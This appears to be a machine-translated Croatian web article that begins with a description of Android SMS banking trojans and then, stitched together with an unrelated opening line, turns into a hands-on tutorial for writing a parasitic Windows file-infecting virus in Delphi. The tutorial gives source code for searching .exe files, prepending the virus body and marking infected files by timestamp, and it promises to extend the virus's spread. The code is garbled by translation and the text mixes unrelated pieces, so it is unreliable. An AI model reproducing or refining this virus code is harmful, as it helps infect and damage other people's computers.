Kako poslati virus žrtvi. Hakiranje tuđim rukama

28.03.2023
Rijetke se snahe mogu pohvaliti da sa svekrvom imaju ujednačene i prijateljske odnose. Obično se događa suprotno

Posljednjih godina moguće je uhvatiti virus ne samo nakon neuspješnog surfanja internetom - sada se hakeri i prevaranti ponašaju mnogo sofisticiranije. Danas ćemo vam reći kako se boriti protiv kibernetičkih kriminalaca koji šalju opasne poruke sa zlonamjernim poveznicama. Reći ćemo vam koliko je opasno prijeći ga i kako izbjeći prijetnju zaraze telefona.

Kakva je ovo pošta?

Tako su od kraja svibnja telefoni stotina tisuća korisnika napadnuti od strane prevaranata. Pametni telefoni primaju kratke intrigantne poruke - “Bok, pogledaj fotografiju i poveznicu!”, uz koju je priložena adresa mjesta za prijelaz. Ponekad se dodaju bilješke koje “ovo nije spam”, ili "moram to shvatiti", može se dodati prezime ili nazovite "Pomozite". Zapravo, ako odmah ne razmislite o tome, možete kliknuti na to i preuzeti datoteku. Nadate se da ćete otvoriti fotografiju od prijatelja, ali ne dobivate ništa. U ovom trenutku telefon je učitan virusna primjena.

Ako pogledate ekstenziju datoteke u dnevniku preuzimanja, vidjet ćete da ne miriše na nikakav jpg, radi APK program. Učitavač virusa, konkretno u ovom slučaju, uzrokuje promjenu mnogih postavki na telefonu.

Korisnici ne mogu uvijek prepoznati virus u svom mobilnom telefonu te stoga nije moguće obrisati maliciozni program ili poduzeti bilo kakvu radnju prije nego što virus dobije pristup osobnim podacima.

Trenutačno se Android pametni telefoni smatraju najranjivijima. Na Androidu se pojavio novi virus putem SMS-a.

U pametnim telefonima otvorenog koda, što je zapravo operativni sustav Android, novi se virusi šire nevjerojatnom brzinom.

Sada su se promijenili. Prije su samo pokušavali koristiti novac u mobitelima, a danas su na meti bankovne kartice i sva sredstva koja se nalaze u Internet banci. Prevaranti su prvenstveno zainteresirani za pametne telefone koji podržavaju uslugu Mobilne banke. Omogućuje vam krađu novca sa žrtvinog računa na broj prevaranta. Da bi to učinili, šalju virus putem SMS-a na Android.

Kako djeluju prevaranti

Prvi takav virus aktivirao se početkom ljeta 2017. Opasnost je u tome što trojanac radi daljinski na Android pametnom telefonu.

Napadači šalju SMS na željeni broj, tako da bi identificirali prisutnost ovog virusa u svom mobilnom uređaju, vlasnici pametnih telefona trebali bi obratiti pozornost na rast broja SMS poruka u vrijednosti od 100 rubalja. Kao rezultat toga, iznos koji je višekratnik od 100 povlači se s mobilnog računa vlasnika pametnog telefona.

Kako bi zaradio značajan novac, napadač je prisiljen poslati nekoliko SMS trojanaca s broja svoje žrtve. Uostalom, nije on jedini koji radi u ovom prevarantskom lancu.

Trojanac se nastanjuje u žrtvinom gadgetu i šalje SMS poruke sa žrtvinog broja na "skupi" broj prevaranata. I upravo za te SMS poruke upućene na ovaj “skupi” broj žrtva se naplaćuje po 100 rubalja. za svaku neovlaštenu SMS poruku.

Posrednici u ovoj shemi mogu biti telekom operater, davatelj usluga i drugi partneri koji možda ne znaju za trikove prevaranata. Kako bi pokrio sve troškove i zaradio novac, napadač mora podići najmanje 1000 rubalja sa svakog broja.

Istodobno, ne može se isključiti mogućnost da se vlasnici pametnih telefona mogu žaliti svom operateru zbog krađe novca. A onda poduzimaju mjere odmazde koje sprječavaju prijevaru. Primjerice, mogu uvesti obvezni unos dodatnih potvrda prije terećenja novca i slično. U takvoj situaciji napadači su prisiljeni tražiti nove načine prijevare.

Zahvaljujući ovim čimbenicima pojavio se još jedan trojanac. Ovaj predstavnik Trojan-SMS-a također izvršava naredbe s udaljenog poslužitelja.

Novi virus je fleksibilniji i savršeno se snalazi u svim uvjetima, već uzimajući u obzir barijere mobilnog operatera, pa čak i stanje pretplatničkog računa i vrijeme transakcija.

Kako virus funkcionira

Novi virus je u stanju mirovanja - nema neovisnost. Čak i jednom u pametnom telefonu, ne pojavljuje se ni na koji način. Potrebna mu je daljinska naredba od vlasnika telefona da bi radio.

Za to se koristi takozvani POST zahtjev. Namijenjen je zahtjevu u kojem web poslužitelj prihvaća na pohranu podatke koji se nalaze u tijelu poruke. Često se koristi, na primjer, za preuzimanje datoteke.

Korištenje POST zahtjeva omogućuje uspostavljanje veze s udaljenim poslužiteljem i primanje odgovarajuće naredbe, nakon čijeg primitka trojanac počinje slati skupe SMS poruke s brojeva svojih žrtava na brojeve prevaranata.

Kako radi novi trojanac? Na primjer, program automatski šalje SMS poruke s jednom riječju "BALANCE" na broj koji podržava "Mobilno bankarstvo".

Slanjem SMS poruke s kratkog broja prevaranti mogu provjeriti je li broj žrtve povezan s bankovnim računom i kakvo je stanje na računu.

Primjeri iz stvarnog života

Na primjer, Sberbank ima broj s kojeg se šalju poruke - 900. Kada poruka "BALANCE" (ili, eventualno, na ruskom "balance") dolazi od pošiljatelja 900, tada vlasnik telefona, vjerujući Sberbanku i siguran da je ova poruka od ove banke, otvara poruku i odgovara na nju, želeći znati što se dogodilo sa stanjem. Tako prevaranti dobivaju odgovor na svoj SMS, što za njih znači da je uz telefon vezana bankovna kartica. Štoviše, postaje im jasno da se ovom karticom može upravljati putem SMS naredbi, što je uključeno u uslugu mobilnog bankarstva. A onda, kako kažu, "stvar tehnologije".

Jedan moj prijatelj nedavno je dobio poruke s kratkog broja 4-74-1, koji je registriran na mobilnoj banci Sberbank s porukom "Usluga nije dostupna, pokušajte ponovno kasnije." Iz očitih razloga, nije poslala odgovor, već znajući za moguće prijetnje. Očito se radi o istim prevarantima koji maskirani u mobilnu banku na taj način pokušavaju izračunati njezinu reakciju i utvrditi je li mobilna banka instalirana na njezinu pametnom telefonu.

Klasifikacija

HLLO - Prepisivanje jezika visoke razine. Takav virus svojim tijelom prebriše program. Oni.
program se uništi, a kada korisnik pokuša pokrenuti program, virus se pokrene i "zarazi" dalje.

HLLC - Jezični pratitelj na visokoj razini. Većina ovih virusa datira iz davne antike (prije 8-10 godina), kada su korisnici imali DOS i bili jako lijeni. Ovi virusi traže datoteku i, ne mijenjajući je, stvaraju svoju kopiju, ali s ekstenzijom .COM. Ako lijeni korisnik napiše samo naziv datoteke u naredbenom retku, onda DOS prvi traži COM datoteku, lansirajući virus koji prvo odradi svoj posao, a zatim pokrene EXE datoteku. Postoji još jedna modifikacija
HLLC - moderniji (7 godina;)): Virus preimenuje datoteku, zadržavajući naziv, ali mijenjajući ekstenziju - iz EXE u, recimo, OBJ ili MAP. Virus zamjenjuje izvornu datoteku svojim tijelom. Oni. korisnik lansira virus, koji, nakon što je izvršio čin reprodukcije, pokreće željeni program - svi su sretni.

HLLP - parazitski jezik visoke razine. Najnapredniji. Pripišite njihovo tijelo datoteci ispred (Virus prvi počinje, zatim vraća program i pokreće ga) ili iza
- tada u zaglavlju programa pišemo jmp blizu tijela virusa, na kraju krajeva, on počinje prvi.

Sam program možemo ostaviti nepromijenjen, tada će izgledati ovako:

Što je MZ, mislim da ste pogodili 🙂 Ovo su inicijali vašeg voljenog Marka Zbikowskog, koje je on skromno definirao u potpisu exe datoteke 🙂 A ja sam ih ovdje unijela samo da razumijete
- infekcija se odvija po principu copy /b virus.exe program.exe, i tu nema posebnih šala. Ne sada. Ali mi ćemo ih skupiti s tobom
- Budi zdrav:). Pa, na primjer: možete šifrirati prvih 512 ili više bajtova izvornog programa bilo kojim algoritmom koji vam je poznat - XOR/XOR, NOT/NOT, ADD/SUB, tada će izgledati ovako:

U tom slučaju struktura zaražene datoteke neće biti tako jasna.
Nisam džabe ovdje (u klasifikaciji, u smislu) tako razapet
- parazitski algoritam koristi 90% modernih virusa, bez obzira na način distribucije. Dobro, idemo dalje:

mrežni virus. Može biti bilo što od navedenog. Razlikuje se po tome što njegova distribucija nije
ograničena na jedno računalo, ova se infekcija na neki način penje internetom ili lokalnom mrežom na druga računala. Mislim da redovito izvadiš 3-4 takva prijatelja iz sapunice
- evo primjera mrežnog virusa. A kada se nađe na tuđem računalu, zarazi datoteke na proizvoljan način ili ih UOPĆE ne zarazi.

Makro virusi, skript virusi, IRC virusi. Stavljam ih u jednu grupu jer su to virusi napisani na jezicima ugrađenim u aplikacije (MSOffice :)), skripte (vaša omiljena VBS pravila ovdje) i IRC skripte. Strogo govoreći, čim se u nekoj aplikaciji pojavi dovoljno moćna (i/ili propusna) skriptna komponenta, oni odmah počnu pisati viruse na njoj 😉 Usput, makro virusi su vrlo jednostavni i lako se otkrivaju heuristikom.

kodiranje

Imamo ga 🙂 Ajde pokreni delphi, ubij svakakve prozore i pobriši sve gluposti iz prozora projekta. To jest, općenito, obrišite sve 🙂 Radit ćemo samo s DPR-om koji sadrži:

program EVIL_VIRUS;
KORISTI WINDOWS, SYSUTILS;
početi
kraj;

Mislim da ste već shvatili logiku virusa iz klasifikacije - obnavljamo i pokrećemo program --> čekamo da završi rad --> brišemo "izvršenu datoteku" (zaboravio sam reći - NE LIJEČIMO zaraženi program, prenosimo izvorni kod u lijevu datoteku i pokrećemo PRIMJER: Zaražena datoteka NOTEPAD.EXE Napravite datoteku _NOTEPAD.EXE u istom direktoriju s originalnim kodom i već je pokrenite).--> potražite nezaraženu arhivirati i zaraziti. To je sve 🙂 Osnovni dizajn virusa izgleda ovako.

Deklarirajte sada svom moćnom mozgu sljedeće varijable i konstante:

VaR VirBuf, ProgBuf, MyBuf: niz znakova;
SR: TSearchRec;
Moj,pr: Datoteka;
ProgSize,rezultat: cijeli broj;
PN,st: niz;
si:Tstartupinfo;
p:tobrada informacija;
zaraženo: boolean;
CONST VirLen: longint= 1000000;

Prvi redak su dinamički nizovi, u koje ćemo napisati tijelo virusa, odnosno programa; Bit će zapisana varijabla SR
karakteristike pronađene datoteke-kandidata za infekciju (nadam se da ste upoznati s procedurama FindFirst i FindNext, jer bit će sve gore;)), My i
Pr je datoteka gdje smo započeli i lijeva datoteka s izvornim programskim kodom (o tome sam već pisao gore). rezultat - rezultat operacije FindFirst, mora biti jednak nuli,
ProgSize - veličina programskog koda. Ostalo je jasno iz onoga što slijedi, osim
zaraženo - to je znak infekcije pronađene datoteke i
VirLen je duljina koda virusa, prepoznat ćete ga tek nakon vjenčanja. Uf, mislio sam reći nakon kompilacije. Oni. prevedete, promijenite vrijednost konstante u izvornom kodu i ponovno prevedite.
Kodirajte dalje 🙂 Ovdje možete vidjeti kod odgovoran za vraćanje i pokretanje zaraženog programa:

SetLength(virbuf,VirLen);
DodijeliDatoteku(moj,ParamStr(0));
st:=paramstr(0);
St:= st+#0;
CopyFile (@st,"c:\windows\program.exe",false);
IF FileSize(my)> VirLen tada
početi
//Pokreni program
AssignFile(my,"c:\windows\program.exe);
reset(moj);
ProgSize:= FileSize(my)-VirLen;
BlockRead(my,virbuf,virlen);
SetLength(progbuf,pRogSize);
BlockRead(my,progbuf,progSize);
ZatvoriDatoteku(moj);
PN:= "_"+ParamStr(0);
DodijeliDatoteku(pr,pn);
Prepiši(pr);
BlockWrite(pr,progbuf,progSize);
ZatvoriDatoteku(pr);
FillChar(Si, SizeOf(Si) , 0);
sa Si do
početi
cb:= VeličinaOf(Si);
dwFlags:= startf_UseShowWindow;
wShowWindow:= 4;
kraj;
PN:= PN+#0;
Createprocess(nula,@PN,nil,nula,false,Create_default_error_mode,nula,nula,si,p);
čekaj za jedan objekt (p.hProces, beskonačno);
//Pokrenuto, program je dovršen. Idemo izbrisati 🙂
ErAsE(pr);
Izbriši(moj);

Ovdje je sve u principu jednostavno i jasno, osim zašto sam cijelu zaraženu datoteku prebacio u direktorij Windowsa i što rade linije od 3 do 5, uključujući.
A to sam učinio jer je čitanje iz pokrenute datoteke neugodno i moguće je samo pomoću CreateFile i ReadFile WinAPI. Kasnije ću govoriti o kodiranju na WinAPI-ju, sada ću pokriti samo osnove
- u Delphiju.

Ovi redovi su konverzija stringa u pchar na narodni način, budući da se sada borimo za svaki bajt koda. Još jedna stvar: postupio sam neispravno postavljajući putanju c:\windows tako teško. Bolje upotrijebite proceduru GetWindowsDirectory, saznajte sigurno 🙂 Sve ostalo je jasno bez ikakvih komentara (ako ne
prestani preskakati informatiku ;)), idemo dalje:

rezultat:= FindFirst("*.exe",faAnyFile,sr);
WHILE Rezultat= 0 DO
početi
// Provjerite uši
zaraženo:= lažno;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= "08/03/98 06:00:00" then infected:= true;
//Provjereno!
IF (infected= false) i (sr.ime<>paramstr(0)) tada
početi
DodijeliDatoteku(moje,sr.Name);
Prepiši(moj);
BlockWrite(my,virbuf,virlen);
BlockWrite(my,progbuf,sr.Size);
ZatvoriDatoteku(moj);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime("08/03/98 06:00:00")));
kraj;
kraj;

//Ako virus radi "čisto", tj. ne iz zaraženog programa, zatim izađite
end else stop;

Što tvoje oštro oko vidi ovdje? Tako je, procedura FindFirst traži danu žrtvu (bilo koju exe datoteku iz trenutnog direktorija), prenosi njezine karakteristike u SR varijablu. Zatim ga morate provjeriti na infekciju. To se radi na originalan način: kada je zaražena, datoteci se dodjeljuje def. Datum i vrijeme. I svaka datoteka s takvim karakteristikama smatra se zaraženom. Sve ostalo je opet bezobrazno jednostavno, pa glatko prelazim na zaključak 🙂

Zaključak

Tako smo kodirali naš prvi virus. Za sada može zaraziti samo datoteke u trenutnom direktoriju (iako sam siguran da ga možete lako nadograditi;)) i ne zna ništa o drugim direktorijima i Internetu. Ne očajavajte, uskoro ćemo ga pokrenuti. Za sada se poigrajte s ovim redcima i pričekajte sljedeći članak.

Primjena

Usudit ću se opisati sve postupke korištene u članku. To će vam pomoći da ih potražite u pomoći i pripremite se za kodiranje ozbiljnih virusa
WinAPI.

AssignFile - nema analogije u WinAPI-ju - mapira datoteku
s varijablom tipa File ili TextFile

Reset - analozi _lopen i CreateFile - otvara se
postojeću datoteku i postavite položaj
vrh za čitanje

ReWrite - _lcreate i CreateFile - stvara novu datoteku i
usta položaj čitanja na početak. Ako se hrani
Prepisati postojeću datoteku, njen sadržaj
će se resetirati

BlockRead - _lread i ReadFile - čita u međuspremnik
određenu količinu podataka iz datoteke

BlockWrite - _lwrite i WriteFile - redom, zapisuje
podaci u datoteku

SeekFile - _llseek i SetFilePointer - pomicanje položaja
čitati/pisati u otvorenu datoteku

CloseFile - _lclose i CloseHandle - zatvara otvaranje
datoteka

Erase - DeleteFile - brisanje datoteke

FindFirst - FindFirstFile - traži datoteku prema kriterijima

FindNext - FindNextFile - traženje sljedeće datoteke

Najnoviji sadržaj stranice